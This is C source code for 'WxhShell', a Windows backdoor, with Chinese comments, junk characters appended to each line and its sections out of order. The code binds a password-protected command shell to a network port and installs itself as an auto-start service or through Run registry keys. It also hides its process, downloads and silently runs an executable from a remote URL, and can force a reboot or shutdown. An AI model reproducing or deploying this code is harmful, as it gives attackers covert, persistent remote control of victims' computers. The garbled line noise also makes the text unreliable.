    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wa{()Cz  
    if(Boot(SHUTDOWN)) )cF1?2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"|j.Yq$H{  
    else { J|Af`HJ  
    closesocket(wsh); =A yDVWpE  
    ExitThread(0); 335\0~;3  
    } Zcq 4?-&  
    break; >wPMJ> 2  
    } 0/Q"~H?%  
  // 获取shell 'OERW|BO  
  case 's': { Td|x~mZv:  
    CmdShell(wsh); P. V #  
    closesocket(wsh); qjc8$#zXS  
    ExitThread(0); !X 8<;e}2  
    break; ;R#:? r;t  
  } Q|3SYJf  
  // 退出 @-g'BvS  
  case 'x': { hp:8e@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h~ F`[G/'  
    CloseIt(wsh); "@h 5 SF  
    break; |N^z=g P[  
    }  ~wX4j  
  // 离开 v<2B^(i}VB  
  case 'q': { fBZ\,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3aK/5)4|B  
    closesocket(wsh); BAUo`el5  
    WSACleanup(); !uno!wUIYd  
    exit(1); JsA9Xdk`  
    break; 0lyCk }c  
        } W;^bc*a_  
  } 74hQ?Atw:  
  } $AI0&#NM  
"q'9-lk  
  // 提示信息  `LWZ!Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |ULwUi-r  
} NbDfD3 1GK  
  } G0u3*.  
s</llJ$  
  return; -_>g=a@&  
} !edgziuO  
~w>Z !RuhT  
// shell模块句柄 ]0g%)fuMf  
int CmdShell(SOCKET sock) |H(Mmqgk  
{ lvyD#|P  
STARTUPINFO si; $ZQ?E^> B  
ZeroMemory(&si,sizeof(si)); $!msav  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; REmD*gf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cv'Fc  
PROCESS_INFORMATION ProcessInfo; VB+sl2V<h  
char cmdline[]="cmd"; Xc^7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /G>reG,G  
  return 0; j5cc"s  
} 1f.xZgO/2  
o4Bl!7U  
// 自身启动模式 Vu6p l  
int StartFromService(void) ,Cj8{s&;  
{ l5jW`cl1  
typedef struct v7l4g&  
{ }PR^Dj.  
  DWORD ExitStatus; K%p*:P  
  DWORD PebBaseAddress; /&+6nOP  
  DWORD AffinityMask; qM$~5uu  
  DWORD BasePriority; {mlJE>~%  
  ULONG UniqueProcessId; i>M*ubWE4@  
  ULONG InheritedFromUniqueProcessId; :EUV#5V.  
}   PROCESS_BASIC_INFORMATION; .%@=,+nqz  
oc2aE:>X  
PROCNTQSIP NtQueryInformationProcess; x%;Q /7&$  
$=97M.E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E"[^^<I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wv   
[|sKu#yW  
  HANDLE             hProcess; b=#3p  
  PROCESS_BASIC_INFORMATION pbi; F C= %_y  
n.m6n*sf7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }/Wd9x  
  if(NULL == hInst ) return 0; g>[|/z P  
W biUz2)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LRhq%7p7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Mh7;&<6[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KAg<s}gQJ  
)-3!-1  
  if (!NtQueryInformationProcess) return 0; 6g ,U+~  
$Xlyc.8YId  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r|Y|u v0  
  if(!hProcess) return 0; tk^1Ga3  
VD \pQ.=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h>Z$ n`T  
|U_48  
  CloseHandle(hProcess); y\ nR0m  
%@! Vx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HY]vaA`  
if(hProcess==NULL) return 0; 5k`[a93T  
F_SkS?dB  
HMODULE hMod; tVhY=X{N?  
char procName[255]; OpwZTy}1}  
unsigned long cbNeeded; TsPO+x$l  
ta+'*@V +G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q#@gOn=W\  
O=1uF  
  CloseHandle(hProcess); Ih}I`wY-  
K/~+bq# +  
if(strstr(procName,"services")) return 1; // 以服务启动 Zq|oj^  
yaf&SR@7k{  
  return 0; // 注册表启动 @1 #$  
} A a2*f[  
r +] J {k  
// 主模块 @o+T<}kWX  
int StartWxhshell(LPSTR lpCmdLine) SnbH`\U"  
{ (k"oV>a|  
  SOCKET wsl; _"Q +G@@  
BOOL val=TRUE; tR5zlm(}  
  int port=0; TJ9,c2d+  
  struct sockaddr_in door; DA oOs}D  
*@Z/L26s;=  
  if(wscfg.ws_autoins) Install(); `4cs.ab  
r'hr 'wZ  
port=atoi(lpCmdLine); #R|M(Z">q  
laM0W5  
if(port<=0) port=wscfg.ws_port; g1\4Jb  
gKg2Ntxj  
  WSADATA data; 8w|j Z@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yI9l*'  
>taS<.G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pBt/vSad  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \n850PS  
  door.sin_family = AF_INET; @A6\v+ih  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n@BE*I<"  
  door.sin_port = htons(port); +1p>:cih  
0D>~uNcT}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }H{{@RU  
closesocket(wsl); 1vu4}%nD  
return 1; h*hV  
} gQ h0-Dnw  
XJ]MPiXj  
  if(listen(wsl,2) == INVALID_SOCKET) { $*%Ml+H-  
closesocket(wsl); uL b- NxQ-  
return 1; dUn8Xqj1  
} o})4Jt1vj  
  Wxhshell(wsl);  ew4IAF  
  WSACleanup(); o lNL|WJ`w  
`hS<F" j  
return 0; 8N(bLGUG  
bF' ~&<c  
} ~0fT*lp  
UhY )rezh  
// 以NT服务方式启动 d\, 4Wet;#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UL[4sv6\9  
{ ~`hI|i<]  
DWORD   status = 0; R*TCoEKO  
  DWORD   specificError = 0xfffffff; 8N6a=[fv<  
#'<I!G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h^>kjMM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -p ) l63  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O6OP{sb  
  serviceStatus.dwWin32ExitCode     = 0; 9Pd~  
  serviceStatus.dwServiceSpecificExitCode = 0; % @Ks<"9  
  serviceStatus.dwCheckPoint       = 0; fB"3R-H?O  
  serviceStatus.dwWaitHint       = 0; ~>D;2 S(a  
d"XS;;l%<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5]; 8  
  if (hServiceStatusHandle==0) return; ;k7` `  
/Fh"Gl^  
status = GetLastError(); g$dL5N7  
  if (status!=NO_ERROR) Ph]e\  
{ $Miii`VS9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $2>tfKhtA  
    serviceStatus.dwCheckPoint       = 0; 2>fG}qYy$  
    serviceStatus.dwWaitHint       = 0; yL.si)h(p  
    serviceStatus.dwWin32ExitCode     = status; 'A !Dg  
    serviceStatus.dwServiceSpecificExitCode = specificError; uA!T@>vl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nB,FJJ{kb  
    return; N,'JQch},8  
  } I2j;9Qcz  
"MC&!AMv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h%+8}uywZ  
  serviceStatus.dwCheckPoint       = 0;  R76'1o  
  serviceStatus.dwWaitHint       = 0; <$Uj ~jN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r'&9'rir2  
} 9aZ3W<N`M  
kc8GnKM&mc  
// 处理NT服务事件,比如:启动、停止 Q(k$HP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wc bs-arH  
{ /GM-#q a  
switch(fdwControl) Z mi<Z  
{  Kz3u  
case SERVICE_CONTROL_STOP: &O0+\A9tP  
  serviceStatus.dwWin32ExitCode = 0; s ^V8FH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @aCg1Rm  
  serviceStatus.dwCheckPoint   = 0; m1F<L  
  serviceStatus.dwWaitHint     = 0; 5Tu#o ()  
  { l`I]eTo)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {k?Y :  
  } f[.hN  
  return; W]2;5 `MM  
case SERVICE_CONTROL_PAUSE: s7xRry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fwsq:  
  break; h%=b"x  
case SERVICE_CONTROL_CONTINUE: xA!o"VZPq7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Q{1^  
  break; `t!iknOQ$  
case SERVICE_CONTROL_INTERROGATE: aGpRdF1;!  
  break; zo} SS[  
}; Vg \-^$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~BS*x+M  
} ~iwEhF   
AF3t#)q  
// 标准应用程序主函数 M8cLh!!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _"0n.JQg  
{ 'hya#rC&(  
K7f-g]Ibdn  
// 获取操作系统版本 |!!E5osXq  
OsIsNt=GetOsVer(); /mD KQ<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (sqS(xIY  
)&dhE^ O  
  // 从命令行安装 d}l^yln  
  if(strpbrk(lpCmdLine,"iI")) Install(); cC}s5`  
VpV w:Rh>  
  // 下载执行文件 huKz["]z[  
if(wscfg.ws_downexe) { p*npY"}v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B.P64"w  
  WinExec(wscfg.ws_filenam,SW_HIDE); "BFW&<1  
} '|XP}V0I  
e/Q[%y.X  
if(!OsIsNt) { $}KYpSV  
// 如果时win9x,隐藏进程并且设置为注册表启动 @{CpC  
HideProc(); :>3&"T.  
StartWxhshell(lpCmdLine); c(Ha"tBJ  
} +:'Po.{"  
else nr-mf]W&  
  if(StartFromService()) )<^ ~${$U  
  // 以服务方式启动 ok6e=c '  
  StartServiceCtrlDispatcher(DispatchTable); :T{or-  
else 8dA/dMQ  
  // 普通方式启动 GrQl3 Xi  
  StartWxhshell(lpCmdLine); 8V|-BP5^  
zf o.S[R@  
return 0; _-!6@^+  
} >8 JvnBFx=  
Bp/8 >E O`  
GzB%vsv9 5  
2~`dV_  
=========================================== ,o}[q92@w  
^_=0.:QaW  
GUp51*#XR  
"mH^Owai  
^@19cU?q  
I9Sh~vTm=u  
" h{JVq72R  
^|K*lI/  
#include <stdio.h> ?x[>g!r  
#include <string.h> kW:!$MX!  
#include <windows.h> C,<TAm  
#include <winsock2.h> _:K}DU'6  
#include <winsvc.h> jU#%@d6!#  
#include <urlmon.h> 7J;.T%4 l  
=f|>7m.p  
#pragma comment (lib, "Ws2_32.lib") hy]AH)?pR  
#pragma comment (lib, "urlmon.lib") fZ376Z:S$  
0[i]PgIH  
#define MAX_USER   100 // 最大客户端连接数 ]Aluk|"`U  
#define BUF_SOCK   200 // sock buffer n=>Gu9`  
#define KEY_BUFF   255 // 输入 buffer xeH# )QJt  
785iY865  
#define REBOOT     0   // 重启 r9t{/})A  
#define SHUTDOWN   1   // 关机 *FE<'+%  
[ho'Pc3A<  
#define DEF_PORT   5000 // 监听端口 Z*QRdB%,  
N-Z 9  
#define REG_LEN     16   // 注册表键长度 p{,fWk  
#define SVC_LEN     80   // NT服务名长度 /<2_K4(-{4  
qB:`tHy  
// 从dll定义API Hb$q}1+y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mzw*6e2T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $_ i41f[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W&Hf}q s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @t^ 2/H ?O  
w:N2 xI  
// wxhshell配置信息 37[C^R!1c  
struct WSCFG { Uy_= #&jg  
  int ws_port;         // 监听端口 2~4C5@SxL  
  char ws_passstr[REG_LEN]; // 口令 P>kx{^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4HHf3j!5  
  char ws_regname[REG_LEN]; // 注册表键名 k^]~NP  
  char ws_svcname[REG_LEN]; // 服务名 (j /O=$mJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p4Y 9$(X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,-"]IR!,w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }*t~&l0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cs5Xd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p~b$+8#+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w '"7~uN  
Mzd}9x$'J  
}; :W&\})  
{h=Ai[|l4Q  
// default Wxhshell configuration ?7+ 2i\L  
struct WSCFG wscfg={DEF_PORT, p[eRK .$!  
    "xuhuanlingzhe", "<(~  
    1, vuP1gem  
    "Wxhshell", {HU48v"W  
    "Wxhshell", Cnr48ukq  
            "WxhShell Service", TGLXvP& \  
    "Wrsky Windows CmdShell Service", `otQ'e~+t  
    "Please Input Your Password: ", *k}d@j,*"  
  1, ~h/U ;Da  
  "http://www.wrsky.com/wxhshell.exe", UGMdWq  
  "Wxhshell.exe" 0#7 dm9  
    }; o (zg_!P  
L}mhMxOTi  
// 消息定义模块 %Fv)$ :b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #?*jdN:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d0^2<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +x2xQ8#|~~  
char *msg_ws_ext="\n\rExit."; P:v y  
char *msg_ws_end="\n\rQuit."; jZ;T&s  
char *msg_ws_boot="\n\rReboot..."; t]ZSo-  
char *msg_ws_poff="\n\rShutdown..."; !jbjrzv9  
char *msg_ws_down="\n\rSave to "; 4Uiqi{}  
meWAm?8RI  
char *msg_ws_err="\n\rErr!"; 24Fxx9 g  
char *msg_ws_ok="\n\rOK!"; *8p</Q  
GM/1u fZH  
char ExeFile[MAX_PATH]; iiTUhO )  
int nUser = 0; qrkT7f  
HANDLE handles[MAX_USER]; [ n2udV  
int OsIsNt; +=_Pl7?  
cPbz7  
SERVICE_STATUS       serviceStatus; ZS+2.)A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q|l|gY1g)  
-{h[W bf  
// 函数声明 (G VGoh&  
int Install(void); )3AT=b  
int Uninstall(void); Z7^}G=*  
int DownloadFile(char *sURL, SOCKET wsh); #O WSy'Qnt  
int Boot(int flag); [;I8ZVE  
void HideProc(void); gg(U}L ]:  
int GetOsVer(void); #<o#kJL  
int Wxhshell(SOCKET wsl); ht |r+v-  
void TalkWithClient(void *cs); >`:+d'Jv0  
int CmdShell(SOCKET sock); 66*o2D\Q*G  
int StartFromService(void); {E/TC%  
int StartWxhshell(LPSTR lpCmdLine); kXr%73s  
GpL#, qYc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]`prDw'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m C Ge*V}  
0 *\=Q$Yy  
// 数据结构和表定义 I,eyL$x  
SERVICE_TABLE_ENTRY DispatchTable[] = DtZm|~)a  
{ q1y4B`  
{wscfg.ws_svcname, NTServiceMain}, d eg>m?Y  
{NULL, NULL} P]B#i1  
}; Os{qpR^<I:  
hgK=fHJ k  
// 自我安装 !UTJ) &  
int Install(void) >$DqG$D  
{ P `"7m-  
  char svExeFile[MAX_PATH]; kR|y0V {K*  
  HKEY key; +$t%L  
  strcpy(svExeFile,ExeFile); eXK`%'  
9K|lU:,  
// 如果是win9x系统,修改注册表设为自启动 }U9jsm  
if(!OsIsNt) {  D;]%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7&4,',0VL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L|LTsRIq  
  RegCloseKey(key); :!$z1u8R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ">3@<f>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +0Gep}&z.  
  RegCloseKey(key); &pm{7nH  
  return 0; `qTY  
    }  iC]lO  
  } UD{/L"GG  
} OX4D'  
else { )*ckJK  
B! V{.p  
// 如果是NT以上系统,安装为系统服务 Q\L5ZJ%y/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Br5Io=/wg  
if (schSCManager!=0) !Yu-a!  
{ gf?^yP ;V  
  SC_HANDLE schService = CreateService ;Oy>-Ij5P  
  ( : qRT9n$  
  schSCManager, P~e$iBH'  
  wscfg.ws_svcname, dU6LB+A  
  wscfg.ws_svcdisp, I0K!Kcu5Iu  
  SERVICE_ALL_ACCESS, \BXVWE|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , or}*tSKX  
  SERVICE_AUTO_START, :N*T2mP  
  SERVICE_ERROR_NORMAL, C`wI6!  
  svExeFile, e6lOmgHn5  
  NULL, K"7;Y#1g  
  NULL, K/`RZ!  
  NULL, z :v, Vu  
  NULL, RFY!o<   
  NULL -G#k/Rz6  
  ); sG2 3[t8  
  if (schService!=0) 5Q`n6x|  
  { (JW?azU  
  CloseServiceHandle(schService); -P>=WZu  
  CloseServiceHandle(schSCManager); C+XZDY(=Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4rG 7\  
  strcat(svExeFile,wscfg.ws_svcname); 1m;*fs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *]R 0z|MW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CqK#O'\  
  RegCloseKey(key); {yMA7W7]  
  return 0; v`^J3A  
    } RJwIN,&1.  
  } $3[\:+  
  CloseServiceHandle(schSCManager); /v4S@SQ+  
} NxO^VUD  
} <0)ud)~u  
Ch"8cl;Fm  
return 1; ?i2Wst  
} wg<|@z5  
m,C,<I|'d  
// 自我卸载 E5G"QnxR>N  
int Uninstall(void) vUe *  
{ ,$zlw\  
  HKEY key; I0+wczW,^  
1xAFu+  
if(!OsIsNt) { Uy5!H1u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %@n8 ?l4  
  RegDeleteValue(key,wscfg.ws_regname); ir:~*|  
  RegCloseKey(key); _G #"B{7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;+34g6  
  RegDeleteValue(key,wscfg.ws_regname); ^z}lGu  
  RegCloseKey(key); bDBO+qA  
  return 0; zL`uiZl  
  } `(/saq*  
} (0#F]""\e  
} =4<S8Cp  
else { X|E+K  
 ;c Co+(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aroVyUs3j  
if (schSCManager!=0) 9<h]OXv  
{ ds;cfj[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .#55u+d,  
  if (schService!=0) 4z%#ZIy3   
  { rn:zKTyhw  
  if(DeleteService(schService)!=0) { )S};k=kG  
  CloseServiceHandle(schService); jS3(>  
  CloseServiceHandle(schSCManager); F] ?@X  
  return 0; 4UD=Y?zK  
  } kEhm'  
  CloseServiceHandle(schService); ct4 [b|  
  } E? eWv)//  
  CloseServiceHandle(schSCManager); }?]yxa~  
} [~c'|E8Q  
} PuZs 5J3  
:q64K?X  
return 1; rp @  
} .um&6Q=2<  
^M"z1B]  
// 从指定url下载文件 bk"k&.C^+  
int DownloadFile(char *sURL, SOCKET wsh) {&=qM!2e  
{ wp %FM  
  HRESULT hr; wK'!xH^  
char seps[]= "/"; 51G=RYay9  
char *token; c|}K_~l_  
char *file; ct}%Mdg  
char myURL[MAX_PATH]; u}}9j&^Xa  
char myFILE[MAX_PATH]; Z%5nVsm:G  
g:DTVq  
strcpy(myURL,sURL); yvd `nV  
  token=strtok(myURL,seps); #CA%]*l*F  
  while(token!=NULL) y (nsyA  
  { VP %i1|XZJ  
    file=token; %7v@n+Q  
  token=strtok(NULL,seps); / $9 :L  
  } ^+%tlX_+.  
f-3'D-{EKt  
GetCurrentDirectory(MAX_PATH,myFILE); Cb{A:\>Q{  
strcat(myFILE, "\\"); $HBT%g@UN  
strcat(myFILE, file); /}$T38  
  send(wsh,myFILE,strlen(myFILE),0); :Wg-@d  
send(wsh,"...",3,0); (#bp`Kih  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xd|~+4  
  if(hr==S_OK) l{6` k<J(  
return 0; y=9Dxst"V  
else p2x1xv  
return 1; $xA J9_2P  
(7;J"2M  
} q11QAx4p  
7"F|6JP"$c  
// 系统电源模块 4W!\4Va  
int Boot(int flag) BjyXQ9D  
{ | 7 m5P@X  
  HANDLE hToken; _}zo /kDA  
  TOKEN_PRIVILEGES tkp; =@JS88+  
h41$|lonU%  
  if(OsIsNt) { Z>x7|Q3CX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cZe'!CQS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Aio`&^  
    tkp.PrivilegeCount = 1; ,](v?v.[4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lmhbF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Y=AT!"V  
if(flag==REBOOT) { *H5PT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CZJHE>  
  return 0; BbrT f"`  
} my ;  
else { 5#0A`QO   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CF|moc:;  
  return 0; crd|2bjp+  
} _Z+jQFKJ\8  
  } \P l,' 1%  
  else { S<eZd./p6  
if(flag==REBOOT) { }XCR+uAz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S5~`T7Ra  
  return 0; ,!6M* |  
} vuR5}/Ev  
else { MSZ!W(7,<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jCTy:q]  
  return 0; As@ihB+(\  
} b/sOfQ  
} h; 'W :P  
F0&~ ?2nG  
return 1; )L |tn  
} bZ>&QM  
*o02!EYge  
// win9x进程隐藏模块 H]_WFiW-9  
void HideProc(void) Nush`?]J"_  
{ Opv1B2  
+_qh)HX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f?%qUD_#  
  if ( hKernel != NULL ) `'p`PyMt`  
  { rI0)F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rIeM+h7Wn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :E>&s9Yj?  
    FreeLibrary(hKernel); }RcK_w@Jx)  
  } Hp\Ddx >Jd  
\!^i;1h0c3  
return; m[Z6VHn  
} uR#'lb`3  
^^G-kg  
// 获取操作系统版本 .OmQ'  
int GetOsVer(void) ?k{|Lk  
{ gyi)T?uS)  
  OSVERSIONINFO winfo; @Q;i.u{V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gn]d;5P=  
  GetVersionEx(&winfo); r\(v+cd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aS,a_b]  
  return 1; CI,lkO|C  
  else LZ~2=Y< U(  
  return 0; TdQ ]G2  
} 8 +"10q-  
6nh]*/  
// 客户端句柄模块 "hWJ3pi{o{  
int Wxhshell(SOCKET wsl) 0Tcz[$?  
{ RcgRaQ2^  
  SOCKET wsh; !\CG,Ek  
  struct sockaddr_in client; CN7 k?JO<  
  DWORD myID; Q0pzW:=s]  
(cvh3',  
  while(nUser<MAX_USER) kg<P t >  
{ 6m9 7_NRO  
  int nSize=sizeof(client); #2\8?UPd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H(G!t`K  
  if(wsh==INVALID_SOCKET) return 1; QhsMd- v  
tXt:HVN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7))\'\  
if(handles[nUser]==0) -b cG[W3  
  closesocket(wsh); \a"i7Caa  
else oEJaH  
  nUser++;  *p=fi  
  } cTM$ZNin  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7_DG 5nT  
D!oZ?dGCo6  
  return 0; ]/Vh{d|I&  
} )s7bJjT0=X  
V1<ow'^i  
// 关闭 socket %`#G92Z_  
void CloseIt(SOCKET wsh) C\ vC?(n  
{ t9.,/o,  
closesocket(wsh); OB~C}'^$  
nUser--; P/ci/y_1  
ExitThread(0); D?^540,b  
} X~lZOVmS  
#e/2C  
// 客户端请求句柄 T|ZF/&XP  
void TalkWithClient(void *cs) 3:l DL2  
{ 9`B0fv Q&  
XYe~G@Q Z  
  SOCKET wsh=(SOCKET)cs; ABc)2"i:*  
  char pwd[SVC_LEN]; RlrZxmPV>O  
  char cmd[KEY_BUFF]; id^|\hDR  
char chr[1]; V JDoH  
int i,j; v dU%R\  
a9=>r  
  while (nUser < MAX_USER) { ob E:kNE9  
Okpwh kPL5  
if(wscfg.ws_passstr) { q +R*Hi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9RQU?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @lS==O-`f  
  //ZeroMemory(pwd,KEY_BUFF); # :#M{1I  
      i=0; }f#_4ACaD  
  while(i<SVC_LEN) { OUzR@$  
i^*M^P3m  
  // 设置超时 /s:w^ g~  
  fd_set FdRead; n#BvW,6J  
  struct timeval TimeOut; )CLf;@1  
  FD_ZERO(&FdRead); y;nvR6)  
  FD_SET(wsh,&FdRead); r| f-_D  
  TimeOut.tv_sec=8; H?tUCbw  
  TimeOut.tv_usec=0;  `?|Rc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l-}KmZ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Q)ULnie e  
O|I+],  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Jp~\_X  
  pwd=chr[0]; "(,2L,Zh  
  if(chr[0]==0xd || chr[0]==0xa) { f2yq8/J8.  
  pwd=0; N5? IpE  
  break; llq*T"7  
  } gWOt]D&#/  
  i++; #{$1z;i?f  
    } sw$2d  
fG&=Ogy  
  // 如果是非法用户,关闭 socket jY/ARBC}H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); URA0ey`  
} ! Z;T-3^.  
U\jb"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #op:/j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @QdnjXII*  
o@W_ai_  
while(1) { mu[Op*)  
Hz@h0+h  
  ZeroMemory(cmd,KEY_BUFF); IkDiT63]I  
;~+]! U  
      // 自动支持客户端 telnet标准   lpy:3`ti  
  j=0; sWHyL(C@  
  while(j<KEY_BUFF) { Izn T|l^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~~nqU pK?v  
  cmd[j]=chr[0]; K]/Od  
  if(chr[0]==0xa || chr[0]==0xd) { 9 |.Ao  
  cmd[j]=0; |0sPka/u16  
  break; $.rzc]s  
  } 5Fbs WW2  
  j++; 2q PhLCe Z  
    } :et#0!  
=dzWmL<~8  
  // 下载文件 $DebXxJw0l  
  if(strstr(cmd,"http://")) { $6h*l T<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J;}3t!  
  if(DownloadFile(cmd,wsh)) ?Ik4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~y /!fnv  
  else A]o4Mf0>I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bz /@c)  
  } >&U @f  
